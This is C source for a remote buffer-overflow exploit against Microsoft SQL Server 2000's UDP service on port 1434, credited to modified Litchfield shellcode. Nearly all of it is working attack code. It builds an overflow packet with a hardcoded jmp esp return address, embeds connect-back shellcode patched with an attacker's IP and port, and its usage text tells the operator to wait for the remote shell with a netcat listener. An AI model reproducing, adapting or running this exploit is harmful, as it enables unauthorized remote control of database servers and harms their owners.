/*
MSSQL2000 Remote UDP Exploit!

Modified from "Advanced Windows Shellcode" by David Litchfield, david@ngssoftware.com

fix a bug.

Modified by lion, lion@cnhonker.net
Welcome to HUC Website http://www.cnhonker.com

*/


#include <stdio.h>
#include <winsock2.h>

#pragma comment (lib,"Ws2_32") 

int GainControlOfSQL(void);
int StartWinsock(void);

struct sockaddr_in c_sa;
struct sockaddr_in s_sa;

struct hostent *he;
SOCKET sock;
unsigned long addr;
int SQLUDPPort=1434;
char host[256]="";
char request[4000]="\x04";
char ping[8]="\x02";

char exploit_code[]=
  "\x55\x8B\xEC\x68\x18\x10\xAE\x42\x68\x1C"
  "\x10\xAE\x42\xEB\x03\x5B\xEB\x05\xE8\xF8"
  "\xFF\xFF\xFF\xBE\xFF\xFF\xFF\xFF\x81\xF6"
  "\xAE\xFE\xFF\xFF\x03\xDE\x90\x90\x90\x90"
  "\x90\x33\xC9\xB1\x44\xB2\x58\x30\x13\x83"
  "\xEB\x01\xE2\xF9\x43\x53\x8B\x75\xFC\xFF"
  "\x16\x50\x33\xC0\xB0\x0C\x03\xD8\x53\xFF"
  "\x16\x50\x33\xC0\xB0\x10\x03\xD8\x53\x8B"
  "\x45\xF4\x50\x8B\x75\xF8\xFF\x16\x50\x33"
  "\xC0\xB0\x0C\x03\xD8\x53\x8B\x45\xF4\x50"
  "\xFF\x16\x50\x33\xC0\xB0\x08\x03\xD8\x53"
  "\x8B\x45\xF0\x50\xFF\x16\x50\x33\xC0\xB0"
  "\x10\x03\xD8\x53\x33\xC0\x33\xC9\x66\xB9"
  "\x04\x01\x50\xE2\xFD\x89\x45\xDC\x89\x45"
  "\xD8\xBF\x7F\x01\x01\x01\x89\x7D\xD4\x40"
  "\x40\x89\x45\xD0\x66\xB8\xFF\xFF\x66\x35"
  "\xFF\xCA\x66\x89\x45\xD2\x6A\x01\x6A\x02"
  "\x8B\x75\xEC\xFF\xD6\x89\x45\xEC\x6A\x10"
  "\x8D\x75\xD0\x56\x8B\x5D\xEC\x53\x8B\x45"  
  "\xE8\xFF\xD0\x83\xC0\x44\x89\x85\x58\xFF"
  "\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45"
  "\x84\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98"
  "\x8D\xBD\x48\xFF\xFF\xFF\x57\x8D\xBD\x58"
  "\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83"
  "\xC0\x01\x50\x83\xE8\x01\x50\x50\x8B\x5D"
  "\xE0\x53\x50\x8B\x45\xE4\xFF\xD0\x33\xC0"
  "\x50\xC6\x04\x24\x61\xC6\x44\x24\x01\x64"
  "\x68\x54\x68\x72\x65\x68\x45\x78\x69\x74"
  "\x54\x8B\x45\xF0\x50\x8B\x45\xF8\xFF\x10"
  "\xFF\xD0\x90\x2F\x2B\x6A\x07\x6B\x6A\x76"
  "\x3C\x34\x34\x58\x58\x33\x3D\x2A\x36\x3D"
  "\x34\x6B\x6A\x76\x3C\x34\x34\x58\x58\x58"
  "\x58\x0F\x0B\x19\x0B\x37\x3B\x33\x3D\x2C"
  "\x19\x58\x58\x3B\x37\x36\x36\x3D\x3B\x2C"
  "\x58\x1B\x2A\x3D\x39\x2C\x3D\x08\x2A\x37"
  "\x3B\x3D\x2B\x2B\x19\x58\x58\x3B\x35\x3C"
  "\x58";


int main(int argc, char *argv[])
{
  unsigned int ErrorLevel=0,len=0,c =0;
  int count = 0;
  char sc[300]="";
  char ipaddress[40]="";
  unsigned short port = 0;
  unsigned int ip = 0;
  char *ipt="";
  char buffer[400]="";
  unsigned short prt=0;
  char *prtt="";


  if(argc != 2 && argc != 5)
  {
    printf("===============================================================\r\n");
    printf("SQL Server UDP Buffer Overflow Remote Exploit\r\n\n");
    printf("Modified from \"Advanced Windows Shellcode\"\r\n");
    printf("Code by David Litchfield, david@ngssoftware.com\r\n");
    printf("Modified by lion, fix a bug.\r\n");
    printf("Welcome to HUC Website http://www.cnhonker.com\r\n\n");
    printf("Usage:\r\n");
    printf("    %s Target [<NCHost> <NCPort> <SQLSP>]\r\n\n", argv[0]);
    printf("Exemple:\r\n");
    printf("Target is MSSQL SP 0:\r\n");
    printf("    C:\\>nc -l -p 53\r\n");
    printf("    C:\\>%s db.target.com 202.202.202.202 53 0\r\n",argv[0]);
    printf("Target is MSSQL SP 1 or 2:\r\n");
    printf("    c:\\>%s db.target.com 202.202.202.202\r\n\n", argv[0]);
    return 0;
  }

  strncpy(host, argv[1], 100);

  if(argc == 5)
  {
    strncpy(ipaddress, argv[2], 36);

    port = atoi(argv[3]);

    // SQL Server 2000 Service pack level
    // The import entry for GetProcAddress in sqlsort.dll
    // is at  0x42ae1010 but on SP 1 and 2 is at  0x42ae101C
    // Need to set the last byte accordingly

    if(argv[4][0] == 0x30)
    {
      printf("MSSQL SP 0. GetProcAddress @0x42ae1010\r\n");
      exploit_code[9]=0x10;
    }
    else
    {
      printf("MSSQL SP 1 or 2. GetProcAddress @0x42ae101C\r\n");
    }

  }

  ErrorLevel = StartWinsock();
  if(ErrorLevel==0)
  {
    printf("Starting Winsock Error.\r\n");
    return 0;
  }

  if(argc == 2)
  {
    strcpy(request,ping);

    GainControlOfSQL();
    return 0;
  }


  strcpy(buffer,exploit_code);

  // set this IP address to connect back to
  // this should be your address
  ip = inet_addr(ipaddress);
  ipt = (char*)&ip;
  buffer[142]=ipt[0];
  buffer[143]=ipt[1];
  buffer[144]=ipt[2];
  buffer[145]=ipt[3];

  // set the TCP port to connect on
  // netcat should be listening on this port
  // e.g. nc -l -p 80

  prt = htons(port);
  prt = prt ^ 0xFFFF;
  prtt = (char *) &prt;
  buffer[160]=prtt[0];
  buffer[161]=prtt[1];

  strcat(request,"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXX");

  // Overwrite the saved return address on the stack
  // This address contains a jmp esp instruction
  // and is in sqlsort.dll.

  strcat(request,"\xDC\xC9\xB0\x42"); // 0x42B0C9DC

  // Need to do a near jump
  strcat(request,"\xEB\x0E\x41\x42\x43\x44\x45\x46");

  // Need to set an address which is writable or
  // sql server will crash before we can exploit
  // the overrun. Rather than choosing an address
  // on the stack which could be anywhere we'll
  // use an address in the .data segment of sqlsort.dll
  // as we're already using sqlsort for the saved
  // return address

  // SQL 2000 no service packs needs the address here
  strcat(request,"\x01\x70\xAE\x42");

  // SQL 2000 Service Pack 2 needs the address here
  strcat(request,"\x01\x70\xAE\x42");

  // just a few nops
  strcat(request,"\x90\x90\x90\x90\x90\x90\x90\x90");


  // tack on exploit code to the end of our request and fire it off
  strcat(request,buffer);

  GainControlOfSQL();

  return 0;
}


int StartWinsock()
{
  int err=0;
  WORD wVersionRequested;
  WSADATA wsaData;

  wVersionRequested = MAKEWORD(2,1);
  err = WSAStartup( wVersionRequested, &wsaData );
  if (err != 0)
  {
    printf("error WSAStartup 1.\r\n");
    return 0;
  }
  if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 1 )
  {
    printf("error WSAStartup 2.\r\n");
    WSACleanup( );
    return 0;
  }

  if (isalpha(host[0]))
  {
    he = gethostbyname(host);

    if (he == NULL)
    {
      printf("Can't get the ip of %s!\r\n", host);
      WSACleanup( );
      exit(-1);
    }

    s_sa.sin_addr.s_addr=INADDR_ANY;
    s_sa.sin_family=AF_INET;
    memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
  }
  else
  {
    s_sa.sin_family=AF_INET;
    s_sa.sin_addr.s_addr = inet_addr(host);
  }

  return 1;
}



int GainControlOfSQL(void)
{
  char resp[600]="";
  int snd=0,rcv=0,count=0, var=0;
  unsigned int ttlbytes=0;
  unsigned int to=2000;
  struct sockaddr_in        cli_addr;
  SOCKET            cli_sock;


  cli_sock=socket(AF_INET,SOCK_DGRAM,0);
  if (cli_sock==INVALID_SOCKET)
  {
    return printf("sock erron\r\n");
  }

  cli_addr.sin_family=AF_INET;
  cli_addr.sin_addr.s_addr=INADDR_ANY;
  cli_addr.sin_port=htons((unsigned short)53);

  setsockopt(cli_sock,SOL_SOCKET,SO_RCVTIMEO,(char *)&to,sizeof(unsigned int));
  if(bind(cli_sock,(LPSOCKADDR)&cli_addr,sizeof(cli_addr))==SOCKET_ERROR)
  {
    return printf("bind error");
  }

  s_sa.sin_port=htons((unsigned short)SQLUDPPort);

  if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
  {
    return printf("Connect error");
  }
  else
  {
    snd=send(cli_sock, request , strlen (request) , 0);
    printf("Packet sent!\r\n");
    printf("If you don't have a shell it didn't work.\r\n");
    rcv = recv(cli_sock,resp,596,0);
    if(rcv > 1)
    {
      while(count < rcv)
      {
        if(resp[count]==0x00)
        resp[count]=0x20;
        count++;
      }
      printf("%s",resp);
    }
  }
  closesocket(cli_sock);

  return 0;
}